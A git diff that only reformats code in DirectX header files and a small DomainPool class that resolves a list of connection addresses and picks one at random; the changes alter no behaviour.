D3DVALUE dvNX; + D3DVALUE nx; /* Normal */ + D3DVALUE dvNX; }; union { - D3DVALUE ny; - D3DVALUE dvNY; + D3DVALUE ny; + D3DVALUE dvNY; }; union { - D3DVALUE nz; - D3DVALUE dvNZ; + D3DVALUE nz; + D3DVALUE dvNZ; }; union { - D3DVALUE tu; /* Texture coordinates */ - D3DVALUE dvTU; + D3DVALUE tu; /* Texture coordinates */ + D3DVALUE dvTU; }; union { - D3DVALUE tv; - D3DVALUE dvTV; + D3DVALUE tv; + D3DVALUE dvTV; }; #if(DIRECT3D_VERSION >= 0x0500) #if (defined __cplusplus) && (defined D3D_OVERLOADS) _D3DVERTEX() { } _D3DVERTEX(const D3DVECTOR& v, const D3DVECTOR& n, float _tu, float _tv) - { x = v.x; y = v.y; z = v.z; - nx = n.x; ny = n.y; nz = n.z; - tu = _tu; tv = _tv; - } + { + x = v.x; + y = v.y; + z = v.z; + nx = n.x; + ny = n.y; + nz = n.z; + tu = _tu; + tv = _tv; + } #endif #endif /* DIRECT3D_VERSION >= 0x0500 */ } D3DVERTEX, *LPD3DVERTEX; @@ -526,16 +544,34 @@ typedef struct _D3DMATRIX { D3DVALUE _m10, D3DVALUE _m11, D3DVALUE _m12, D3DVALUE _m13, D3DVALUE _m20, D3DVALUE _m21, D3DVALUE _m22, D3DVALUE _m23, D3DVALUE _m30, D3DVALUE _m31, D3DVALUE _m32, D3DVALUE _m33 - ) - { - m[0][0] = _m00; m[0][1] = _m01; m[0][2] = _m02; m[0][3] = _m03; - m[1][0] = _m10; m[1][1] = _m11; m[1][2] = _m12; m[1][3] = _m13; - m[2][0] = _m20; m[2][1] = _m21; m[2][2] = _m22; m[2][3] = _m23; - m[3][0] = _m30; m[3][1] = _m31; m[3][2] = _m32; m[3][3] = _m33; - } + ) + { + m[0][0] = _m00; + m[0][1] = _m01; + m[0][2] = _m02; + m[0][3] = _m03; + m[1][0] = _m10; + m[1][1] = _m11; + m[1][2] = _m12; + m[1][3] = _m13; + m[2][0] = _m20; + m[2][1] = _m21; + m[2][2] = _m22; + m[2][3] = _m23; + m[3][0] = _m30; + m[3][1] = _m31; + m[3][2] = _m32; + m[3][3] = _m33; + } - D3DVALUE& operator()(int iRow, int iColumn) { return m[iRow][iColumn]; } - const D3DVALUE& operator()(int iRow, int iColumn) const { return m[iRow][iColumn]; } + D3DVALUE& operator()(int iRow, int iColumn) + { + return m[iRow][iColumn]; + } + const D3DVALUE& operator()(int iRow, int iColumn) const + { + return m[iRow][iColumn]; + } #if(DIRECT3D_VERSION >= 0x0600) friend _D3DMATRIX operator* (const _D3DMATRIX&, const _D3DMATRIX&); #endif /* DIRECT3D_VERSION >= 0x0600 */ @@ -723,24 +759,24 @@ typedef struct _D3DLIGHTINGELEMENT { typedef struct _D3DMATERIAL { DWORD dwSize; union { - D3DCOLORVALUE diffuse; /* Diffuse color RGBA */ - D3DCOLORVALUE dcvDiffuse; + D3DCOLORVALUE diffuse; /* Diffuse color RGBA */ + D3DCOLORVALUE dcvDiffuse; }; union { - D3DCOLORVALUE ambient; /* Ambient color RGB */ - D3DCOLORVALUE dcvAmbient; + D3DCOLORVALUE ambient; /* Ambient color RGB */ + D3DCOLORVALUE dcvAmbient; }; union { - D3DCOLORVALUE specular; /* Specular 'shininess' */ - D3DCOLORVALUE dcvSpecular; + D3DCOLORVALUE specular; /* Specular 'shininess' */ + D3DCOLORVALUE dcvSpecular; }; union { - D3DCOLORVALUE emissive; /* Emissive color RGB */ - D3DCOLORVALUE dcvEmissive; + D3DCOLORVALUE emissive; /* Emissive color RGB */ + D3DCOLORVALUE dcvEmissive; }; union { - D3DVALUE power; /* Sharpness if specular highlight */ - D3DVALUE dvPower; + D3DVALUE power; /* Sharpness if specular highlight */ + D3DVALUE dvPower; }; D3DTEXTUREHANDLE hTexture; /* Handle to texture map */ DWORD dwRampSize; @@ -750,24 +786,24 @@ typedef struct _D3DMATERIAL { typedef struct _D3DMATERIAL7 { union { - D3DCOLORVALUE diffuse; /* Diffuse color RGBA */ - D3DCOLORVALUE dcvDiffuse; + D3DCOLORVALUE diffuse; /* Diffuse color RGBA */ + D3DCOLORVALUE dcvDiffuse; }; union { - D3DCOLORVALUE ambient; /* Ambient color RGB */ - D3DCOLORVALUE dcvAmbient; + D3DCOLORVALUE ambient; /* Ambient color RGB */ + D3DCOLORVALUE dcvAmbient; }; union { - D3DCOLORVALUE specular; /* Specular 'shininess' */ - D3DCOLORVALUE dcvSpecular; + D3DCOLORVALUE specular; /* Specular 'shininess' */ + D3DCOLORVALUE dcvSpecular; }; union { - D3DCOLORVALUE emissive; /* Emissive color RGB */ - D3DCOLORVALUE dcvEmissive; + D3DCOLORVALUE emissive; /* Emissive color RGB */ + D3DCOLORVALUE dcvEmissive; }; union { - D3DVALUE power; /* Sharpness if specular highlight */ - D3DVALUE dvPower; + D3DVALUE power; /* Sharpness if specular highlight */ + D3DVALUE dvPower; }; } D3DMATERIAL7, *LPD3DMATERIAL7; @@ -1505,8 +1541,7 @@ typedef enum _D3DRENDERSTATETYPE { #if(DIRECT3D_VERSION < 0x0800) // Values for material source -typedef enum _D3DMATERIALCOLORSOURCE -{ +typedef enum _D3DMATERIALCOLORSOURCE { D3DMCS_MATERIAL = 0, // Color from material is used D3DMCS_COLOR1 = 1, // Diffuse vertex color is used D3DMCS_COLOR2 = 2, // Specular vertex color is used @@ -1547,14 +1582,14 @@ typedef enum _D3DMATERIALCOLORSOURCE typedef struct _D3DSTATE { union { #if(DIRECT3D_VERSION < 0x0800) - D3DTRANSFORMSTATETYPE dtstTransformStateType; + D3DTRANSFORMSTATETYPE dtstTransformStateType; #endif //(DIRECT3D_VERSION < 0x0800) - D3DLIGHTSTATETYPE dlstLightStateType; - D3DRENDERSTATETYPE drstRenderStateType; + D3DLIGHTSTATETYPE dlstLightStateType; + D3DRENDERSTATETYPE drstRenderStateType; }; union { - DWORD dwArg[1]; - D3DVALUE dvArg[1]; + DWORD dwArg[1]; + D3DVALUE dvArg[1]; }; } D3DSTATE, *LPD3DSTATE; @@ -1606,8 +1641,7 @@ typedef struct _D3DPROCESSVERTICES { /* * State enumerants for per-stage texture processing. */ -typedef enum _D3DTEXTURESTAGESTATETYPE -{ +typedef enum _D3DTEXTURESTAGESTATETYPE { D3DTSS_COLOROP = 1, /* D3DTEXTUREOP - per-stage blending controls for color channels */ D3DTSS_COLORARG1 = 2, /* D3DTA_* (texture arg) */ D3DTSS_COLORARG2 = 3, /* D3DTA_* (texture arg) */ @@ -1652,8 +1686,7 @@ typedef enum _D3DTEXTURESTAGESTATETYPE * Enumerations for COLOROP and ALPHAOP texture blending operations set in * texture processing stage controls in D3DRENDERSTATE. */ -typedef enum _D3DTEXTUREOP -{ +typedef enum _D3DTEXTUREOP { // Control D3DTOP_DISABLE = 1, // disables stage D3DTOP_SELECTARG1 = 2, // the default @@ -1670,8 +1703,8 @@ typedef enum _D3DTEXTUREOP D3DTOP_ADDSIGNED2X = 9, // as above but left 1 bit D3DTOP_SUBTRACT = 10, // Arg1 - Arg2, with no saturation D3DTOP_ADDSMOOTH = 11, // add 2 args, subtract product - // Arg1 + Arg2 - Arg1*Arg2 - // = Arg1 + (1-Arg1)*Arg2 + // Arg1 + Arg2 - Arg1*Arg2 + // = Arg1 + (1-Arg1)*Arg2 // Linear alpha blend: Arg1*(Alpha) + Arg2*(1-Alpha) D3DTOP_BLENDDIFFUSEALPHA = 12, // iterated alpha @@ -1684,13 +1717,13 @@ typedef enum _D3DTEXTUREOP // Specular mapping D3DTOP_PREMODULATE = 17, // modulate with next texture before use D3DTOP_MODULATEALPHA_ADDCOLOR = 18, // Arg1.RGB + Arg1.A*Arg2.RGB - // COLOROP only + // COLOROP only D3DTOP_MODULATECOLOR_ADDALPHA = 19, // Arg1.RGB*Arg2.RGB + Arg1.A - // COLOROP only + // COLOROP only D3DTOP_MODULATEINVALPHA_ADDCOLOR = 20, // (1-Arg1.A)*Arg2.RGB + Arg1.RGB - // COLOROP only + // COLOROP only D3DTOP_MODULATEINVCOLOR_ADDALPHA = 21, // (1-Arg1.RGB)*Arg2.RGB + Arg1.A - // COLOROP only + // COLOROP only // Bump mapping D3DTOP_BUMPENVMAP = 22, // per pixel env map perturbation @@ -1725,8 +1758,7 @@ typedef enum _D3DTEXTUREOP /* * IDirect3DTexture2 State Filter Types */ -typedef enum _D3DTEXTUREMAGFILTER -{ +typedef enum _D3DTEXTUREMAGFILTER { D3DTFG_POINT = 1, // nearest D3DTFG_LINEAR = 2, // linear interpolation D3DTFG_FLATCUBIC = 3, // cubic @@ -1737,16 +1769,14 @@ typedef enum _D3DTEXTUREMAGFILTER D3DTFG_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum } D3DTEXTUREMAGFILTER; -typedef enum _D3DTEXTUREMINFILTER -{ +typedef enum _D3DTEXTUREMINFILTER { D3DTFN_POINT = 1, // nearest D3DTFN_LINEAR = 2, // linear interpolation D3DTFN_ANISOTROPIC = 3, // D3DTFN_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum } D3DTEXTUREMINFILTER; -typedef enum _D3DTEXTUREMIPFILTER -{ +typedef enum _D3DTEXTUREMIPFILTER { D3DTFP_NONE = 1, // mipmapping disabled (use MAG filter) D3DTFP_POINT = 2, // nearest D3DTFP_LINEAR = 3, // linear interpolation @@ -1792,16 +1822,16 @@ typedef enum _D3DTEXTUREMIPFILTER */ typedef struct _D3DTRIANGLE { union { - WORD v1; /* Vertex indices */ - WORD wV1; + WORD v1; /* Vertex indices */ + WORD wV1; }; union { - WORD v2; - WORD wV2; + WORD v2; + WORD wV2; }; union { - WORD v3; - WORD wV3; + WORD v3; + WORD wV3; }; WORD wFlags; /* Edge (and other) flags */ } D3DTRIANGLE, *LPD3DTRIANGLE; @@ -1812,12 +1842,12 @@ typedef struct _D3DTRIANGLE { */ typedef struct _D3DLINE { union { - WORD v1; /* Vertex indices */ - WORD wV1; + WORD v1; /* Vertex indices */ + WORD wV1; }; union { - WORD v2; - WORD wV2; + WORD v2; + WORD wV2; }; } D3DLINE, *LPD3DLINE; @@ -2009,16 +2039,14 @@ typedef struct _D3DVERTEXBUFFERDESC { D3DFVF_TEX1 ) -typedef struct _D3DDP_PTRSTRIDE -{ +typedef struct _D3DDP_PTRSTRIDE { LPVOID lpvData; DWORD dwStride; } D3DDP_PTRSTRIDE; #define D3DDP_MAXTEXCOORD 8 -typedef struct _D3DDRAWPRIMITIVESTRIDEDDATA -{ +typedef struct _D3DDRAWPRIMITIVESTRIDEDDATA { D3DDP_PTRSTRIDE position; D3DDP_PTRSTRIDE normal; D3DDP_PTRSTRIDE diffuse; @@ -2069,8 +2097,7 @@ typedef struct _D3DDRAWPRIMITIVESTRIDEDDATA #define D3DDEVINFOID_D3DTEXTUREMANAGER 2 #define D3DDEVINFOID_TEXTURING 3 -typedef enum _D3DSTATEBLOCKTYPE -{ +typedef enum _D3DSTATEBLOCKTYPE { D3DSBT_ALL = 1, // capture all state D3DSBT_PIXELSTATE = 2, // capture pixel state D3DSBT_VERTEXSTATE = 3, // capture vertex state @@ -2079,8 +2106,7 @@ typedef enum _D3DSTATEBLOCKTYPE // The D3DVERTEXBLENDFLAGS type is used with D3DRENDERSTATE_VERTEXBLEND state. // -typedef enum _D3DVERTEXBLENDFLAGS -{ +typedef enum _D3DVERTEXBLENDFLAGS { D3DVBLEND_DISABLE = 0, // Disable vertex blending D3DVBLEND_1WEIGHT = 1, // blend between 2 matrices D3DVBLEND_2WEIGHTS = 2, // blend between 3 matrices diff --git a/client/d3d/winapifamily.h b/client/d3d/winapifamily.h index 0ec4d73..2c8a10a 100644 --- a/client/d3d/winapifamily.h +++ b/client/d3d/winapifamily.h @@ -37,11 +37,11 @@ Abstract: * specific platform. */ -/* In Windows 10, WINAPI_PARTITIONs will be used to add additional - * device specific APIs to a particular WINAPI_FAMILY. - * For example, when writing Windows Universal apps, specifying - * WINAPI_FAMILY_APP will hide phone APIs from compilation. - * However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will +/* In Windows 10, WINAPI_PARTITIONs will be used to add additional + * device specific APIs to a particular WINAPI_FAMILY. + * For example, when writing Windows Universal apps, specifying + * WINAPI_FAMILY_APP will hide phone APIs from compilation. + * However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will * unhide any API hidden behind the partition, to the compiler. * The following partitions are currently defined: @@ -52,10 +52,10 @@ Abstract: * WINAPI_PARTITION_SYSTEM // specific to System applications * WINAPI_PARTITION_GAMES // specific to games and apps - * The following partitions are indirect partitions and defined in - * winpackagefamily.h. These partitions are related to package based + * The following partitions are indirect partitions and defined in + * winpackagefamily.h. These partitions are related to package based * partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up - * any API hidden behind the package based partitions that are bound to + * any API hidden behind the package based partitions that are bound to * WINAPI_PARTITION_SERVER, to the compiler. * WINAPI_PARTITION_SERVER // specific to Server applications */ @@ -94,7 +94,7 @@ Abstract: * individual APIs and the FAMILYs to which they apply. * Each PARTITION is a category or subset of named APIs. PARTITIONs * are permitted to have overlapping membership -- some single API - * might be part of more than one PARTITION. PARTITIONS are each #define-ed + * might be part of more than one PARTITION. PARTITIONS are each #define-ed * to be either 1 or 0 or depending on the platform at which the app is targeted. */ @@ -148,24 +148,24 @@ Abstract: #ifndef WINAPI_PARTITION_DESKTOP #define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP) -#endif +#endif #ifndef WINAPI_PARTITION_APP #define WINAPI_PARTITION_APP \ (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \ WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \ WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP) -#endif +#endif #ifndef WINAPI_PARTITION_PC_APP #define WINAPI_PARTITION_PC_APP \ (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \ WINAPI_FAMILY == WINAPI_FAMILY_PC_APP) -#endif +#endif #ifndef WINAPI_PARTITION_PHONE_APP #define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP) -#endif +#endif #ifndef WINAPI_PARTITION_GAMES #define WINAPI_PARTITION_GAMES \ @@ -183,7 +183,7 @@ Abstract: #define WINAPI_PARTITION_SYSTEM \ (WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \ WINAPI_FAMILY == WINAPI_FAMILY_SERVER) -#endif +#endif /* * For compatibility with Windows Phone 8 header files, the following @@ -213,7 +213,7 @@ Abstract: * * Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are * related. In particular one might use declarations like - * + * * #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) * * or @@ -222,7 +222,7 @@ Abstract: * * Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...) * should not be used. - */ + */ #define WINAPI_FAMILY_PARTITION(Partitions) (Partitions) /* diff --git a/client/d3d/winpackagefamily.h b/client/d3d/winpackagefamily.h index ee691f9..db7613a 100644 --- a/client/d3d/winpackagefamily.h +++ b/client/d3d/winpackagefamily.h @@ -55,7 +55,7 @@ Abstract: #undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT #undef WINAPI_PARTITION_PKG_WER -/* +/* * PARTITIONS for feature packages. Each package might be active for one or more editions */ #define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1) diff --git a/client/domain_pool.h b/client/domain_pool.h index e5a5744..a1b1a74 100644 --- a/client/domain_pool.h +++ b/client/domain_pool.h @@ -5,27 +5,31 @@ std::string GetIPAddress(const char* hostName); -class DomainPool { +class DomainPool +{ private: - char Address[100]; // ˳ȺCONNECT_ADDRESSƥ - std::vector IPList; + char Address[100]; // ˳ȺCONNECT_ADDRESSƥ + std::vector IPList; public: - DomainPool() { - memset(Address, 0, sizeof(Address)); - } - DomainPool(const char* addr) { - strcpy_s(Address, addr ? addr : ""); - IPList = StringToVector(Address, ';'); - for (int i = 0; i < IPList.size(); i++) - { - IPList[i] = GetIPAddress(IPList[i].c_str()); - } - } - std::string SelectIP() const { - auto n = rand() % IPList.size(); - return IPList[n]; - } - std::vector GetIPList() const { - return IPList; - } + DomainPool() + { + memset(Address, 0, sizeof(Address)); + } + DomainPool(const char* addr) + { + strcpy_s(Address, addr ? addr : ""); + IPList = StringToVector(Address, ';'); + for (int i = 0; i < IPList.size(); i++) { + IPList[i] = GetIPAddress(IPList[i].c_str()); + } + } + std::string SelectIP() const + { + auto n = rand() % IPList.size(); + return IPList[n]; + } + std::vector GetIPList() const + { + return IPList; + } }; diff --git a/client/dxtrans.h b/client/dxtrans.h index 8dc47e3..4b32dc5 100644 --- a/client/dxtrans.h +++ b/client/dxtrans.h @@ -4,12 +4,12 @@ /* this ALWAYS GENERATED file contains the definitions for the interfaces */ - /* File created by MIDL compiler version 6.00.0357 */ +/* File created by MIDL compiler version 6.00.0357 */ /* Compiler settings for dxtrans.idl: Oicf, W1, Zp8, env=Win32 (32b run) protocol : dce , ms_ext, c_ext - error checks: allocation ref bounds_check enum stub_data - VC __declspec() decoration level: + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: __declspec(uuid()), __declspec(selectany), __declspec(novtable) DECLSPEC_UUID(), MIDL_INTERFACE() */ @@ -40,7 +40,7 @@ #pragma once #endif -/* Forward Declarations */ +/* Forward Declarations */ #ifndef __IDXBaseObject_FWD_DEFINED__ #define __IDXBaseObject_FWD_DEFINED__ @@ -264,14 +264,14 @@ typedef struct DXTFilter DXTFilter; #include "comcat.h" #ifdef __cplusplus -extern "C"{ -#endif +extern "C" { +#endif void * __RPC_USER MIDL_user_allocate(size_t); -void __RPC_USER MIDL_user_free( void * ); +void __RPC_USER MIDL_user_free( void * ); /* interface __MIDL_itf_dxtrans_0000 */ -/* [local] */ +/* [local] */ #include #include @@ -292,9 +292,9 @@ typedef void *LPSECURITY_ATTRIBUTES; #endif #ifdef _DXTRANSIMPL - #define _DXTRANS_IMPL_EXT _declspec(dllexport) +#define _DXTRANS_IMPL_EXT _declspec(dllexport) #else - #define _DXTRANS_IMPL_EXT _declspec(dllimport) +#define _DXTRANS_IMPL_EXT _declspec(dllimport) #endif @@ -369,66 +369,64 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0000_v0_0_s_ifspec; #define __IDXBaseObject_INTERFACE_DEFINED__ /* interface IDXBaseObject */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXBaseObject; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("17B59B2B-9CC8-11d1-9053-00C04FD9189D") - IDXBaseObject : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE GetGenerationId( - /* [out] */ ULONG *pID) = 0; - - virtual HRESULT STDMETHODCALLTYPE IncrementGenerationId( - /* [in] */ BOOL bRefresh) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetObjectSize( - /* [out] */ ULONG *pcbSize) = 0; - - }; - + +MIDL_INTERFACE("17B59B2B-9CC8-11d1-9053-00C04FD9189D") +IDXBaseObject : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE GetGenerationId( + /* [out] */ ULONG *pID) = 0; + + virtual HRESULT STDMETHODCALLTYPE IncrementGenerationId( + /* [in] */ BOOL bRefresh) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetObjectSize( + /* [out] */ ULONG *pcbSize) = 0; + +}; + #else /* C style interface */ - typedef struct IDXBaseObjectVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXBaseObject * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXBaseObject * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXBaseObject * This); - - HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( - IDXBaseObject * This, - /* [out] */ ULONG *pID); - - HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( - IDXBaseObject * This, - /* [in] */ BOOL bRefresh); - - HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( - IDXBaseObject * This, - /* [out] */ ULONG *pcbSize); - - END_INTERFACE - } IDXBaseObjectVtbl; +typedef struct IDXBaseObjectVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXBaseObject * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXBaseObject * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXBaseObject * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXBaseObject * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXBaseObject * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXBaseObject * This, + /* [out] */ ULONG *pcbSize); + + END_INTERFACE +} IDXBaseObjectVtbl; + +interface IDXBaseObject +{ + CONST_VTBL struct IDXBaseObjectVtbl *lpVtbl; +}; - interface IDXBaseObject - { - CONST_VTBL struct IDXBaseObjectVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -459,7 +457,7 @@ EXTERN_C const IID IID_IDXBaseObject; -HRESULT STDMETHODCALLTYPE IDXBaseObject_GetGenerationId_Proxy( +HRESULT STDMETHODCALLTYPE IDXBaseObject_GetGenerationId_Proxy( IDXBaseObject * This, /* [out] */ ULONG *pID); @@ -471,7 +469,7 @@ void __RPC_STUB IDXBaseObject_GetGenerationId_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXBaseObject_IncrementGenerationId_Proxy( +HRESULT STDMETHODCALLTYPE IDXBaseObject_IncrementGenerationId_Proxy( IDXBaseObject * This, /* [in] */ BOOL bRefresh); @@ -483,7 +481,7 @@ void __RPC_STUB IDXBaseObject_IncrementGenerationId_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXBaseObject_GetObjectSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXBaseObject_GetObjectSize_Proxy( IDXBaseObject * This, /* [out] */ ULONG *pcbSize); @@ -500,67 +498,61 @@ void __RPC_STUB IDXBaseObject_GetObjectSize_Stub( /* interface __MIDL_itf_dxtrans_0260 */ -/* [local] */ +/* [local] */ -typedef -enum DXBNDID - { DXB_X = 0, - DXB_Y = 1, - DXB_Z = 2, - DXB_T = 3 - } DXBNDID; +typedef +enum DXBNDID { + DXB_X = 0, + DXB_Y = 1, + DXB_Z = 2, + DXB_T = 3 +} DXBNDID; -typedef -enum DXBNDTYPE - { DXBT_DISCRETE = 0, - DXBT_DISCRETE64 = DXBT_DISCRETE + 1, - DXBT_CONTINUOUS = DXBT_DISCRETE64 + 1, - DXBT_CONTINUOUS64 = DXBT_CONTINUOUS + 1 - } DXBNDTYPE; +typedef +enum DXBNDTYPE { + DXBT_DISCRETE = 0, + DXBT_DISCRETE64 = DXBT_DISCRETE + 1, + DXBT_CONTINUOUS = DXBT_DISCRETE64 + 1, + DXBT_CONTINUOUS64 = DXBT_CONTINUOUS + 1 +} DXBNDTYPE; -typedef struct DXDBND - { +typedef struct DXDBND { long Min; long Max; - } DXDBND; +} DXDBND; typedef DXDBND DXDBNDS[ 4 ]; -typedef struct DXDBND64 - { +typedef struct DXDBND64 { LONGLONG Min; LONGLONG Max; - } DXDBND64; +} DXDBND64; typedef DXDBND64 DXDBNDS64[ 4 ]; -typedef struct DXCBND - { +typedef struct DXCBND { float Min; float Max; - } DXCBND; +} DXCBND; typedef DXCBND DXCBNDS[ 4 ]; -typedef struct DXCBND64 - { +typedef struct DXCBND64 { double Min; double Max; - } DXCBND64; +} DXCBND64; typedef DXCBND64 DXCBNDS64[ 4 ]; -typedef struct DXBNDS - { +typedef struct DXBNDS { DXBNDTYPE eType; - /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0001 - { + /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0001 { /* [case()] */ DXDBND D[ 4 ]; /* [case()] */ DXDBND64 LD[ 4 ]; /* [case()] */ DXCBND C[ 4 ]; /* [case()] */ DXCBND64 LC[ 4 ]; - } u; - } DXBNDS; + } u; +} DXBNDS; typedef long DXDVEC[ 4 ]; @@ -570,17 +562,15 @@ typedef float DXCVEC[ 4 ]; typedef double DXCVEC64[ 4 ]; -typedef struct DXVEC - { +typedef struct DXVEC { DXBNDTYPE eType; - /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0002 - { + /* [switch_is] */ /* [switch_type] */ union __MIDL___MIDL_itf_dxtrans_0260_0002 { /* [case()] */ long D[ 4 ]; /* [case()] */ LONGLONG LD[ 4 ]; /* [case()] */ float C[ 4 ]; /* [case()] */ double LC[ 4 ]; - } u; - } DXVEC; + } u; +} DXVEC; @@ -591,104 +581,102 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0260_v0_0_s_ifspec; #define __IDXTransformFactory_INTERFACE_DEFINED__ /* interface IDXTransformFactory */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTransformFactory; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("6A950B2B-A971-11d1-81C8-0000F87557DB") - IDXTransformFactory : public IServiceProvider - { - public: - virtual HRESULT STDMETHODCALLTYPE SetService( - /* [in] */ REFGUID guidService, - /* [in] */ IUnknown *pUnkService, - /* [in] */ BOOL bWeakReference) = 0; - - virtual HRESULT STDMETHODCALLTYPE CreateTransform( - /* [size_is][in] */ IUnknown **punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown **punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ IPropertyBag *pInitProps, - /* [in] */ IErrorLog *pErrLog, - /* [in] */ REFCLSID TransCLSID, - /* [in] */ REFIID TransIID, - /* [iid_is][out] */ void **ppTransform) = 0; - - virtual HRESULT STDMETHODCALLTYPE InitializeTransform( - /* [in] */ IDXTransform *pTransform, - /* [size_is][in] */ IUnknown **punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown **punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ IPropertyBag *pInitProps, - /* [in] */ IErrorLog *pErrLog) = 0; - - }; - + +MIDL_INTERFACE("6A950B2B-A971-11d1-81C8-0000F87557DB") +IDXTransformFactory : public IServiceProvider { +public: + virtual HRESULT STDMETHODCALLTYPE SetService( + /* [in] */ REFGUID guidService, + /* [in] */ IUnknown *pUnkService, + /* [in] */ BOOL bWeakReference) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateTransform( + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog, + /* [in] */ REFCLSID TransCLSID, + /* [in] */ REFIID TransIID, + /* [iid_is][out] */ void **ppTransform) = 0; + + virtual HRESULT STDMETHODCALLTYPE InitializeTransform( + /* [in] */ IDXTransform *pTransform, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTransformFactoryVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTransformFactory * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTransformFactory * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTransformFactory * This); - - /* [local] */ HRESULT ( STDMETHODCALLTYPE *QueryService )( - IDXTransformFactory * This, - /* [in] */ REFGUID guidService, - /* [in] */ REFIID riid, - /* [out] */ void **ppvObject); - - HRESULT ( STDMETHODCALLTYPE *SetService )( - IDXTransformFactory * This, - /* [in] */ REFGUID guidService, - /* [in] */ IUnknown *pUnkService, - /* [in] */ BOOL bWeakReference); - - HRESULT ( STDMETHODCALLTYPE *CreateTransform )( - IDXTransformFactory * This, - /* [size_is][in] */ IUnknown **punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown **punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ IPropertyBag *pInitProps, - /* [in] */ IErrorLog *pErrLog, - /* [in] */ REFCLSID TransCLSID, - /* [in] */ REFIID TransIID, - /* [iid_is][out] */ void **ppTransform); - - HRESULT ( STDMETHODCALLTYPE *InitializeTransform )( - IDXTransformFactory * This, - /* [in] */ IDXTransform *pTransform, - /* [size_is][in] */ IUnknown **punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown **punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ IPropertyBag *pInitProps, - /* [in] */ IErrorLog *pErrLog); - - END_INTERFACE - } IDXTransformFactoryVtbl; +typedef struct IDXTransformFactoryVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTransformFactory * This, + /* [in] */ REFIID riid, + /* [iid_is][out] 